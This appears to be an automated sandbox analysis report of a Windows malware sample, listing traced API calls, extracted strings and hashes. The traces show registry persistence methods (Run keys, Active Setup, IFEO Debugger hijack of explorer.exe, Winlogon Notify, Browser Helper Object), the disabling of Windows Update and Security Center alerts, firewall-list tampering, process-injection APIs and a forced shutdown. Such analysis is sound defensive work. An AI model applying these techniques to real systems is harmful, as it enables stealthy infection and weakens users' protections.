RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe,?), ref: 00404C95
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404CB5
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404CC6
lstrcatA.KERNEL32(00000000,007C7CC8,?,00411030,?,00000104), ref: 00404CCD
CreateMutexA.KERNEL32(00000000,00000000,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404CF3
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00000104), ref: 00404D0F
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00000104), ref: 00404D1E
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404D48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404D63
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404E01
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404E3B
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00404E74
SetFileTime.KERNEL32(?,?,?,?), ref: 00404EA9
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00404EB8
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404ED7
RegDeleteValueA.ADVAPI32(?,Debugger,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404EEB
lstrlenA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404F03
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F1E
lstrcatA.KERNEL32(?,?), ref: 00404FD2
Sleep.KERNEL32(000007D0,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 00405188
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 0040525A
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405291
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 004052CB
SetFileTime.KERNEL32(?,?,?,?), ref: 00405300
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040530F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040532E
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004,?,?,?,?,?,00000000,00000000), ref: 0040536A
lstrlenA.KERNEL32(?,00000004,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00405373
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0040538E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 004053B2
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 004053C7
RegCloseKey.ADVAPI32(?,ShellRegEx), ref: 00405402
lstrcmpiA.KERNEL32(?), ref: 00405445
lstrcmpiA.KERNEL32(?,?), ref: 00405464
SetFileAttributesA.KERNEL32(?,00000080), ref: 00405480
DeleteFileA.KERNEL32(?,00000080), ref: 00405489
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004054B0
GetFileSize.KERNEL32(00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(?), ref: 004054ED
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040551E
WriteFile.KERNEL32(00000000,0040F580,00000C00,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404D9D

Part of subcall function 0040140F: wsprintfA.USER32 ref: 00401422

RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 00404F42
GetComputerNameA.KERNEL32(?,?), ref: 00404F72
lstrcpyA.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F98
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404FB5
lstrlenA.KERNEL32(?), ref: 00404FDE
wsprintfA.USER32 ref: 00405088
lstrcpyA.KERNEL32(?,SOFTWARE\Microsoft\Active Setup\Installed Components\), ref: 004050C3
lstrcatA.KERNEL32(00000000,{4D415259-4a4f-4e45-5334-4D4152594a4f},?,SOFTWARE\Microsoft\Active Setup\Installed Components\), ref: 004050CE
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 004050E4
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040510D
lstrcatA.KERNEL32(?,00411030), ref: 0040511E
lstrcatA.KERNEL32(00000000,007C7C50,?,00411030), ref: 00405125
CreateMutexA.KERNEL32(00000000,00000000,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 0040514B
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00411030), ref: 00405167
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00411030), ref: 00405176
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 004051A0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004051BB
WriteFile.KERNEL32(00000000,00410200,00000800,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004051F5
RegDeleteValueA.ADVAPI32(00000000,ShellRegEx), ref: 004053F3
lstrcpyA.KERNEL32(?), ref: 004055C0
lstrcpyA.KERNEL32(?,?,?), ref: 004055D5
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?), ref: 00405610
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,?), ref: 0040562C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?), ref: 0040564B
GetTempPathA.KERNEL32(00000104,?,?,?,00000104,?,?,?), ref: 00405673
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,?,?,?,?,00000104,?,?,?), ref: 00405693
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000104,?,?,?), ref: 004056B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056EA
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056F6
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 00405715
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405760
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405771
lstrcatA.KERNEL32(00000000,007C7DE0,?,00411030,?,00000104,?,?,?,?,?,?,00000104,?,?,?), ref: 00405778
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,007C7DE0,?,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 00405783
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00411030,?,00000104), ref: 0040579E
WriteFile.KERNEL32(?,00407C80,00001400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 004057DC
SetFileTime.KERNEL32(?,?,?,?), ref: 0040580A
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405819
GetLastError.KERNEL32(?,?,?,00000080,00000000,00411030,?,00000104,?,?,?,?,?,?,00000104), ref: 0040586E
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058AC
lstrcatA.KERNEL32(?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058BB
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,00000080,00000000,00411030,?,00000104), ref: 004058C6
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080), ref: 004058E1
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,?,?,00000104,?,?,?,?,00000080,00000000,00411030), ref: 004058FD
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 0040591B
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405927
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405932
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 0040594D
GetLastError.KERNEL32(?,?,?,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080,00000000), ref: 00405969
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040599B
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059C0
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 004059CF
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 004059DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,00000104), ref: 004059F5
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A27
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00405A33
GetTempPathA.KERNEL32(00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A50
lstrcatA.KERNEL32(?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A5C
SetFileAttributesA.KERNEL32(00000000,00000080,?,00000104,?,?,?,?,?,?,00000080,00000000,?,?,?,00000104), ref: 00405A67
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?,?,?,?,00000080), ref: 00405A82
WriteFile.KERNEL32(00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405AB4
CloseHandle.KERNEL32(?,00000000,00409080,00006400,?,00000000,?,?,?,?,?,?,00000080,00000000,?,00000104), ref: 00405AC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00006400,?,00000000), ref: 00405AF8
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?,?,?,?,?,?,?,00000080,00000000,?,00000104,?), ref: 00405B2E
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 00405B4F
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405B79
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 00405B95
RegCloseKey.ADVAPI32(?,?,?,?,?,00020006,?,?,?,?,?,?,?,00000080,00000000), ref: 00405BA7
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU,?), ref: 00405BF2
RegSetValueExA.ADVAPI32(?,NoAutoUpdate,00000000,00000004,?,00000004), ref: 00405C1B
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405C2A
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,?,?,?,?,?), ref: 00405C9C
RegSetValueExA.ADVAPI32(?,AntiVirusOverride,00000000,00000004,?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405CC5
RegSetValueExA.ADVAPI32(?,AntiVirusDisableNotify,00000000,00000004,?,00000004,?,AntiVirusOverride,00000000,00000004,?,00000004), ref: 00405CDD
RegSetValueExA.ADVAPI32(?,FirewallDisableNotify,00000000,00000004,?,00000004,?,AntiVirusDisableNotify,00000000,00000004,?,00000004,?,AntiVirusOverride,00000000,00000004), ref: 00405CF5
RegSetValueExA.ADVAPI32(?,UpdatesDisableNotify,00000000,00000004,?,00000004,?,FirewallDisableNotify,00000000,00000004,?,00000004,?,AntiVirusDisableNotify,00000000,00000004), ref: 00405D0D
RegCloseKey.ADVAPI32(?,00000004,?,?,?,?,?,?,?,?,?), ref: 00405D1C
RegOpenKeyExA.ADVAPI32(80000002,SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List,00000000,0002001F,?,?,?,?,?,00020006,?,?,?,?,?), ref: 00405D52
RegDeleteValueA.ADVAPI32(?,00000000,?,?,?,0002001F,?,?,?,?,?,00020006,?), ref: 00405DCE
RegEnumValueA.ADVAPI32(?,?,00000000,?,00000000,?,00004000,00004000), ref: 00405E0A
wsprintfA.USER32 ref: 00405E24
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,?,?,?,?,0002001F,?), ref: 00405E3B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?), ref: 00405E54
CreateThread.KERNEL32(00000000,00010000,00402818,00000002,00000000,?), ref: 00405E77
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00020006,?), ref: 00405E80
SetFileAttributesA.KERNEL32(?,00000021), ref: 00405F00
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 00405F1D
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,00000001,00000004), ref: 00405F5D
lstrlenA.KERNEL32(?,00000004), ref: 00405F66
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001), ref: 00405F81
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00405F90
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 00405FAC
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe,?), ref: 00405FC6
lstrlenA.KERNEL32(?), ref: 00405FE6
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001), ref: 00406001
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 00406010
RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 00406039
RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,00020006,?), ref: 0040605A
lstrlenA.KERNEL32(?,?,?,?,?,00020006,?), ref: 00406071
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040608D
RegCloseKey.ADVAPI32(?,?,?,00000001,?,?,?,?,?,?,?,00020006,?), ref: 0040609C
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 004060D6
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 00406102
RegSetValueExA.ADVAPI32(?,ShellRegEx,00000000,00000003,?,0000022A,?,?,0040F4FC,?,00000000), ref: 0040612E
RegCloseKey.ADVAPI32(?,0000022A,?,?,0040F4FC,?,00000000,?,?,?,?,?,?,?,?,00000001), ref: 0040613D
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00406152
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B},?), ref: 0040617C
lstrlenA.KERNEL32(?), ref: 0040619C
RegSetValueExA.ADVAPI32(?,DLLName,00000000,00000001,?,00000001), ref: 004061B7
RegSetValueExA.ADVAPI32(?,Startup,00000000,00000001,Startup,00000008,?,DLLName,00000000,00000001,?,00000001), ref: 004061D3
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 004061E2
RegCreateKeyA.ADVAPI32(80000000,CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32,?), ref: 00406204
lstrlenA.KERNEL32(?), ref: 0040621B
RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,?,00000001), ref: 00406233
RegSetValueExA.ADVAPI32(?,ThreadingModel,00000000,00000001,Both,00000005,?,00000000,00000000,00000001,?,00000001), ref: 0040624F
RegCloseKey.ADVAPI32(?,00000001,?,00000001), ref: 0040625E
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC},?), ref: 00406271
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00406287
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,?,?,?,?,00000001), ref: 0040629C
Sleep.KERNEL32(000003E8,00000021,?,?,?,?,?,?,?,00000001), ref: 004062A9
RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 004062DF
RegQueryValueExA.ADVAPI32(?,g00d d0gg,00000000,00000000,?,?,?,?,00000000,?,00000000), ref: 0040631D
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,?,?,?,?,?,?,00000000,?,00000000), ref: 00406356
RegDeleteValueA.ADVAPI32(?,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040636F
Sleep.KERNEL32(00001388,g00d d0gg,?,?,?,?,?,?,00000000,?,00000000), ref: 0040637C
RtlAdjustPrivilege.NTDLL(00000013,00000001,00000000,?), ref: 0040639B
NtShutdownSystem.NTDLL(00000001), ref: 004063A6
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 004063CA
CloseHandle.KERNEL32(?), ref: 004063E1
RegCloseKey.ADVAPI32(?,?,?,?,00412170,?,?,?,0040F4FC,?,00000000), ref: 004063F8
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,qnd_b__-13), ref: 00406409

Strings

opera.exe, xrefs: 00405EC1
ShellRegEx, xrefs: 0040452C, 004053ED, 00406122
NtAllocateVirtualMemory, xrefs: 00403C90
NoAutoUpdate, xrefs: 00405C0F
Both, xrefs: 0040623A
tmp, xrefs: 00405626, 0040568D
GetIpAddrTable, xrefs: 00403F55
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00405BE8
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe, xrefs: 00404C8B, 00405FBC
SOFTWARE\Microsoft\Active Setup\Installed Components\, xrefs: 004050B6
Default Flags, xrefs: 0040475A, 00404784
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}, xrefs: 00406267
NtOpenProcessToken, xrefs: 00403D0D
CreateRemoteThread, xrefs: 00403C1D
RasEnumConnectionsA, xrefs: 00403EFB
}|, xrefs: 00404432, 00405765
%AppData%\, xrefs: 00404A1E, 0040560B, 004058A7, 004059BB
iexplore.exe, xrefs: 00405ED5
StubPath, xrefs: 00405382, 00405F75
iphlpapi.dll, xrefs: 00403F2F
Startup, xrefs: 004061BE, 004061C7
RtlAdjustPrivilege, xrefs: 00403CC0
CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32, xrefs: 004061FA
NtQueryInformationToken, xrefs: 00403D28
InternetCloseHandle, xrefs: 0040407C
qnd_b__-13, xrefs: 004044C4
IsInstalled, xrefs: 0040535E, 00405F51
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00405B24, 00405B45, 0040602F, 00406050
%ComSpec%, xrefs: 00404901
f, xrefs: 00404DAE
SOFTWARE\Microsoft\Security Center, xrefs: 00405C92
FirewallDisableNotify, xrefs: 00405CE9
.exe, xrefs: 004043F5, 00404406, 00404417
wininet.dll, xrefs: 00403FD4
{9703941E-446E-952F-954A-3DA8A91ED84F}, xrefs: 00404CEA
%02X, xrefs: 004044B2
AntiVirusDisableNotify, xrefs: 00405CD1
Debugger, xrefs: 00404EDF, 00404F12, 00405FF5
seamonkey.exe, xrefs: 00405EC6
QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 00404F8B
explorer.exe, xrefs: 00405841, 00405EDA
ntdll.dll, xrefs: 00403C81
UpdatesDisableNotify, xrefs: 00405D01
mozilla.exe, xrefs: 00405ECB
firefox.exe, xrefs: 00405ED0
kernel32.dll, xrefs: 00403A6F, 00405854, 0040587D
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 004046EA, 00404721, 004047B0, 00404844, 00404870
InternetOpenUrlA, xrefs: 0040404C
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00406172
%CommonProgramFiles%\System\, xrefs: 004049D9
DLLName, xrefs: 004061AB
InternetOpenA, xrefs: 0040403C
NtWriteVirtualMemory, xrefs: 00403CA0
InternetSetOptionA, xrefs: 0040406C
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00405D48
{4D415259-4a4f-4e45-5334-4D4152594a4f}, xrefs: 00405083, 004050C8
{10F5781A-0D97-0F99-EF77-BA382916E579}, xrefs: 00405142
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 0040507E
InternetReadFile, xrefs: 0040405C
P||, xrefs: 004043FF, 00405112
g00d d0gg, xrefs: 00406311, 0040634A, 00406363
ThreadingModel, xrefs: 00406243
.dll, xrefs: 00404428, 00404439
winlogon.exe, xrefs: 00405823
AntiVirusOverride, xrefs: 00405CB9
Extended Flags, xrefs: 004048A5, 004048CB
NtShutdownSystem, xrefs: 00403CB0
sOfTwaRe\mIcRoSofT\cOdE SToRe dAtAbAsE\Distribution Units\{79AABB1D-FADB-7161-3CCB-997899295A29}, xrefs: 00405EA1
rasapi32.dll, xrefs: 00403ED5
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 004060CC, 004060F8, 004062D5
--k33p, xrefs: 00403AD9

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Close$Create$Value$Handle$AddressProclstrcat$Attributes$Process$lstrlen$DeleteOpenWritelstrcpy$EnvironmentExpandStrings$CurrentLibraryLoadQuerySystemTempTime$DirectoryErrorLastNameObjectProcess32SingleWaitlstrcmpiwsprintf$ExitMutexPathReadSleepStartupThread$AdjustFirstInfoInformationNextPointerPrivilegeSizeSnapshotTokenToolhelp32$ClassCommandComputerCountEnumHeapLineModulePriorityShutdownTerminateTickVersion
String ID: %02X$%AppData%\$%ComSpec%$%CommonProgramFiles%\System\$--k33p$.dll$.exe$AntiVirusDisableNotify$AntiVirusOverride$Both$CLSID\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}\InProcServer32$CreateRemoteThread$DLLName$Debugger$Default Flags$Extended Flags$FirewallDisableNotify$GetIpAddrTable$InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$IsInstalled$NoAutoUpdate$NtAllocateVirtualMemory$NtOpenProcessToken$NtQueryInformationToken$NtShutdownSystem$NtWriteVirtualMemory$P||$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$RasEnumConnectionsA$RtlAdjustPrivilege$SOFTWARE\Microsoft\Active Setup\Installed Components\$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F1ACE452-91D3-FF14-6B60-AD3718D5C8FC}$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$ShellRegEx$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$Software\Microsoft\Windows\CurrentVersion\Run$Startup$StubPath$ThreadingModel$UpdatesDisableNotify$explorer.exe$f$firefox.exe$g00d d0gg$iexplore.exe$iphlpapi.dll$kernel32.dll$mozilla.exe$ntdll.dll$opera.exe$qnd_b__-13$rasapi32.dll$sOfTwaRe\mIcRoSofT\cOdE SToRe dAtAbAsE\Distribution Units\{79AABB1D-FADB-7161-3CCB-997899295A29}$seamonkey.exe$tmp$wininet.dll$winlogon.exe${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}${10F5781A-0D97-0F99-EF77-BA382916E579}${4D415259-4a4f-4e45-5334-4D4152594a4f}${9703941E-446E-952F-954A-3DA8A91ED84F}$}|
API String ID: 1618137752-39698364
Opcode ID: 7795afdd26422b98606130c06c03d0fcc75b2a593c07fc7c1f629372ddbf79cd
Instruction ID: fcd3a91cfab7fa25ee27508f4df0295c9928967f58dd1d1f7e7acfc0775f1f2c
Opcode Fuzzy Hash: 7795afdd26422b98606130c06c03d0fcc75b2a593c07fc7c1f629372ddbf79cd
Instruction Fuzzy Hash: D1233BB19443406AE630B6349D47F9B3A989B40318F140A3FFA89B61D3E77C9529C79F

Function 0040151E Relevance: 15.1, APIs: 10, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004049C8,?,00000100,?,?,00000104), ref: 00401549
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000100,?,?,00000104), ref: 0040156D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00401588
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004015F1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401601
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401607
DeleteFileA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 0040160D

Memory Dump Source

Source File: 00000000.00000002.1354426262.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1354413062.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354440542.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354454729.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354467496.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1354482959.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 6edca4130fc9ff9253b416a2a54cfdd097daa11b75cfe95610963849548db182
Instruction ID: ead9107263b76718dec6335517b8b67c7343bef8d8983c19364d90e74fa0285a
Opcode Fuzzy Hash: 6edca4130fc9ff9253b416a2a54cfdd097daa11b75cfe95610963849548db182
Instruction Fuzzy Hash: 8021A1B1A802007AE53031757C03F5B369C8B84758F190A3BFE06B91D6F5BDE62941AF

Non-executed Functions

Function 0040355D Relevance: 35.5, APIs: 16, Strings: 4, Instructions: 493networkregistrysleepCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
